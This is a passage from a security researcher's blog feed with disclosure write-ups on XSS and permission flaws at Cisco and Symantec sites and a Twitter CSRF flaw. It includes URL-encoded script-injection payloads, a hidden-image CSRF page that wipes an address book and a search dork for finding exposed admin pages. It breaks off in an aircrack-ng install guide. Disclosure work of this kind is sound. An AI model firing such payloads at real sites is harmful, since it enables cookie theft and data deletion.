&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;1. XSS in the Cisco Developer Network (developer.cisco.com)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The following pages &lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;accept client side input via the '_153_keywords' parameter and render it back to the browser without sanitization.&lt;/span&gt;&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;a href="http://developer.cisco.com/group/control_panel/manage?p_p_id=153&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view"&gt;http://developer.cisco.com/group/control_panel/manage?p_p_id=153&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;a href="http://developer.cisco.com/group/control_panel/manage?p_p_id=153&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_153_tabs1=completed"&gt;http://developer.cisco.com/group/control_panel/manage?p_p_id=153&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_153_tabs1=completed&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This was a POST based XSS, &lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;hence to craft an attack vector, an attacker would need to create a page that autosubmits a form on page/body.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&lt;/span&gt; &lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-kCFYP4J_h34/T-FYNRuXiLI/AAAAAAAAAfI/DwleEiOg9J0/s1600/XSS_myworkflow_tasks_completed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://4.bp.blogspot.com/-kCFYP4J_h34/T-FYNRuXiLI/AAAAAAAAAfI/DwleEiOg9J0/s640/XSS_myworkflow_tasks_completed.png" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/span&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-0O6R9Q3zMmg/T-FX8u7dZEI/AAAAAAAAAfA/96yaDC8WJzg/s1600/XSS_myworkflow_tasks_pending.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://4.bp.blogspot.com/-0O6R9Q3zMmg/T-FX8u7dZEI/AAAAAAAAAfA/96yaDC8WJzg/s640/XSS_myworkflow_tasks_pending.png" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/span&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;2. Insufficient privilege/permission check on the Cisco Developer Network.&lt;br /&gt;The application did not verify the permission levels of logged in users when providing access to the administration modules of several sections listed on &lt;a href="http://developer.cisco.com/web/cdc/tech"&gt;http://developer.cisco.com/web/cdc/tech&lt;/a&gt; under "Available Technology Centers" &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Some examples were:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://developer.cisco.com/web/cupapi/admin&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://developer.cisco.com/web/telesched/administration&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-dnPcGBRoET0/T-FaWQ3Ek0I/AAAAAAAAAfQ/4Ms7baDznjY/s1600/inadequete_permissions.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://2.bp.blogspot.com/-dnPcGBRoET0/T-FaWQ3Ek0I/AAAAAAAAAfQ/4Ms7baDznjY/s640/inadequete_permissions.png" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-chZGG3-MTrQ/T8Z5owXIrqI/AAAAAAAAAe0/KGuAuRlRFcM/s1600/seer.entsupport.symantec.com-xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;An advanced Google search, like the following, can get a list of modules that were&amp;nbsp; vulnerable:&lt;br /&gt;&lt;a href="https://www.google.co.in/search?q=site:developer.cisco.com/web/%20inurl:admin%20%7C%20inurl:administration"&gt;https://www.google.co.in/search?q=site:developer.cisco.com/web/%20inurl:admin%20|%20inurl:administration&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br/&gt;&lt;br/&gt;Waiting for Cisco to fix some other issues on several other domains before I disclose them here&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;. Till then Happy Hacking!&lt;br/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/q8SrfhpK-Qs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/5557769799115360995/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/06/multiple-vulnerabilities-with-cisco.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/5557769799115360995?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/5557769799115360995?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/q8SrfhpK-Qs/multiple-vulnerabilities-with-cisco.html" title="Multiple Vulnerabilities with the Cisco Developer Network" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-kCFYP4J_h34/T-FYNRuXiLI/AAAAAAAAAfI/DwleEiOg9J0/s72-c/XSS_myworkflow_tasks_completed.png" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/06/multiple-vulnerabilities-with-cisco.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkcMRnYycSp7ImA9WhVbFE0.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-5699286579007172755</id><published>2012-05-30T12:53:00.003-07:00</published><updated>2012-05-30T13:01:27.899-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-05-30T13:01:27.899-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="symantec" /><category scheme="http://www.blogger.com/atom/ns#" term="esapi" /><category scheme="http://www.blogger.com/atom/ns#" term="injection" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="cross site scripting" /><category scheme="http://www.blogger.com/atom/ns#" term="iframe" /><title>XSS vulnerabilities in Symantec websites</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;A couple of weeks ago, while doing some research for a paper I have been working on, I found two &lt;a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank"&gt;XSS vulnerabilities&lt;/a&gt; with the Symantec Learning Management System (symlms.symantec.com) and Enterprise Support Login Page (seer.entsupport.symantec.com)&lt;/span&gt;. &lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;An XSS or Cross Site Scripting vulnerability occurs when an application accepts user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (&amp;lt;,&amp;gt;,",/&amp;gt; etc..)&lt;/span&gt;.&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt; So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user's browser using automated frameworks like &lt;a href="http://www.bindshell.net/tools/beef.html" target="_blank"&gt;BeEF&lt;/a&gt; and download and execute exploits on the victim's computer.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;On an average, it is easy to find XSS vulnerabilities on the Internet, but finding an XSS issue on a website that is owned and administered by a security services company is quite something. I reported both the vulnerabilities as soon as I discovered them and the security team at Symantec were quite appreciative and welcoming with my disclosures.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Now that both the issues have been fixed, here's a finer look at the vulnerabilities:&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;1. XSS in the Symantec Learning Management System (symlms.symantec.com)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The page at &lt;a href="https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp"&gt;https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp&lt;/a&gt; accepts client side input via the 'ru' hidden parameter and renders it back to the browser without sanitization.&lt;br /&gt;&lt;br /&gt;An attack vector could be crafted on the lines of:&lt;/span&gt;&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp?ru=a%27/%3E%3Ch1%20onmousemove=javascript:alert%28document.cookie%29%3ETEST%3C/h1%3E&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp?ru=tester%27%3E%3Ciframe%20src=%22http://www.wikipedia.org%22%20width=600%20height=1000%3E%3C/iframe%3E&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-RmEDwbOZnOQ/T8Z5m2px31I/AAAAAAAAAes/PDegC1WSL3M/s1600/symlms-xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://1.bp.blogspot.com/-RmEDwbOZnOQ/T8Z5m2px31I/AAAAAAAAAes/PDegC1WSL3M/s400/symlms-xss.png" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;2. XSS in the &lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Enterprise Support Login Page (seer.entsupport.symantec.com)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The page at &lt;a href="http://seer.entsupport.symantec.com/downloads/export.asp"&gt;http://seer.entsupport.symantec.com/downloads/export.asp&lt;/a&gt; accepts client side input via the 'username', 'useremail' and 'userphone' parameters and renders it back to the browser without sanitization.&lt;br /&gt;&lt;br /&gt;An attack vector could be crafted on the lines of:&lt;/span&gt;&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://seer.entsupport.symantec.com/downloads/export.asp?username=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://seer.entsupport.symantec.com/downloads/export.asp?useremail=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;http://seer.entsupport.symantec.com/downloads/export.asp?userphone=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-chZGG3-MTrQ/T8Z5owXIrqI/AAAAAAAAAe0/KGuAuRlRFcM/s1600/seer.entsupport.symantec.com-xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://1.bp.blogspot.com/-chZGG3-MTrQ/T8Z5owXIrqI/AAAAAAAAAe0/KGuAuRlRFcM/s400/seer.entsupport.symantec.com-xss.png" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Input sanitization and output encoding user input can provide protection. There are several libraries that actually make it easier for developers to create web applications without worrying too much about threats like XSS. The &lt;a href="https://www.owasp.org/index.php/ESAPI" target="_blank"&gt;OWASP ESAPI&lt;/a&gt; library is something that comes to my mind when I find XSS anywhere.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;A couple of more interesting disclosures lined up for June. Till then Happy Hacking!&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/W29W-Pbjgvw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/5699286579007172755/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/05/xss-vulnerabilities-in-symantec.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/5699286579007172755?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/5699286579007172755?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/W29W-Pbjgvw/xss-vulnerabilities-in-symantec.html" title="XSS vulnerabilities in Symantec websites" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-RmEDwbOZnOQ/T8Z5m2px31I/AAAAAAAAAes/PDegC1WSL3M/s72-c/symlms-xss.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/05/xss-vulnerabilities-in-symantec.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QBRH47fyp7ImA9WhVUEk8.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-4444493052577548298</id><published>2012-05-16T01:09:00.000-07:00</published><updated>2012-05-16T20:29:15.007-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-05-16T20:29:15.007-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="wipe addressbook" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="twitter" /><category scheme="http://www.blogger.com/atom/ns#" term="hall of fame" /><title>Twitter Wipe Addressbook CSRF Vulnerability</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;I disclosed a &lt;a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29" target="_blank"&gt;CSRF vulnerability&lt;/a&gt; with Twitter, that could allow a malicious attacker to wipe the address book of an unsuspecting user. I reported the vulnerability in the beginning of March and they fixed it on the 22nd! I wouldn't want to comment on the process and internal business logic that they follow, but honestly that was a a pretty long period for them to come up with a fix.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Anyways, getting to the vulnerability, the issue was that a user could delete his own address book with a single click URL, which is alright as long as the user wishes to do so himself. However, with the server not verifying whether the request was sent by the user himself or was the user was tricked into sending the request, the application allowed an attacker to generate a request on behalf of a logged in user from the user's browser and perform the action (deletion of the address book).&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The normal process would be as follows:&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;1. A user logs into mobile.twitter.com&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;2. If he wants to delete ALL his previously imported contacts, he would click on "Remove Contacts" under Settings.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;3. Upon clicking, a GET request is sent to "https://mobile.twitter.com/settings/wipe_addressbook"&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;4. A message is presented that the the user's contacts have been removed.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-ps9yIDiBrjE/T7NeA0CbErI/AAAAAAAAAeA/cM_4JUOoekU/s1600/TwitterAddressBookWipe.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://3.bp.blogspot.com/-ps9yIDiBrjE/T7NeA0CbErI/AAAAAAAAAeA/cM_4JUOoekU/s640/TwitterAddressBookWipe.png" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;An attacker could take advantage of the absence of any security tokens (CSRF tokens) that would allow the server to authenticate the request and setup a page (and host it on xyz.com/index.html) similar to the following:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;img src="https://mobile.twitter.com/settings/wipe_addressbook" width="0" height="0" /&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;An attacker could then be made to navigate to xyz.com/index.html (via email or some other means) and his address book would be deleted!&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The form that would make the final request has now been protected with a 'authenticity_token' which is random and changes on every login and without which the request is not processed on the server. An attacker would need to know this value to attack the application via CSRF.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;a href="http://3.bp.blogspot.com/-b0eK8P3MCQU/T7Nfti0PbPI/AAAAAAAAAeI/drQAVJ42Ff8/s1600/new_form_with_csrf_protection.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="204" src="http://3.bp.blogspot.com/-b0eK8P3MCQU/T7Nfti0PbPI/AAAAAAAAAeI/drQAVJ42Ff8/s640/new_form_with_csrf_protection.png" width="550" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This was my ticket to the Twitter Hall of Fame for Security researchers at &lt;a href="http://twitter.com/about/security"&gt;http://twitter.com/about/security&lt;/a&gt;!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/zyrQBf-jgsE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/4444493052577548298/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/05/twitter-wipe-addressbook-csrf.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/4444493052577548298?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/4444493052577548298?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/zyrQBf-jgsE/twitter-wipe-addressbook-csrf.html" title="Twitter Wipe Addressbook CSRF Vulnerability" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-ps9yIDiBrjE/T7NeA0CbErI/AAAAAAAAAeA/cM_4JUOoekU/s72-c/TwitterAddressBookWipe.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/05/twitter-wipe-addressbook-csrf.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08FRn09fSp7ImA9WhVXFEo.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-2078827739197277861</id><published>2012-04-15T11:11:00.000-07:00</published><updated>2012-04-15T01:50:17.365-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-04-15T01:50:17.365-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="CFLAGS" /><category scheme="http://www.blogger.com/atom/ns#" term="airodump" /><category scheme="http://www.blogger.com/atom/ns#" term="aircrack" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="wlan" /><category scheme="http://www.blogger.com/atom/ns#" term="Werror" /><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>Installing Aircrack-ng on Ubuntu 12.04</title><content type="html">One of the primary reasons I use Ubuntu is to crack wireless networks whenever I get the opportunity. I recently moved to Ubuntu 12.04 and found that aircrack-ng was NOT in the repository.&lt;br /&gt;&lt;br /&gt;In the process of compiling aircrack-ng from source, I hit a lot of errors mostly to do with a variable called -&lt;span style="font-style: italic; "&gt;Werror&lt;/span&gt;. This is what you need to do to compile aircrack-ng without the pesky errors.&lt;br /&gt;&lt;br /&gt;sudo apt-get install build-essential&lt;br /&gt;sudo apt-get install libssl-dev&lt;br /&gt;wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz&lt;br /&gt;tar -zxvf 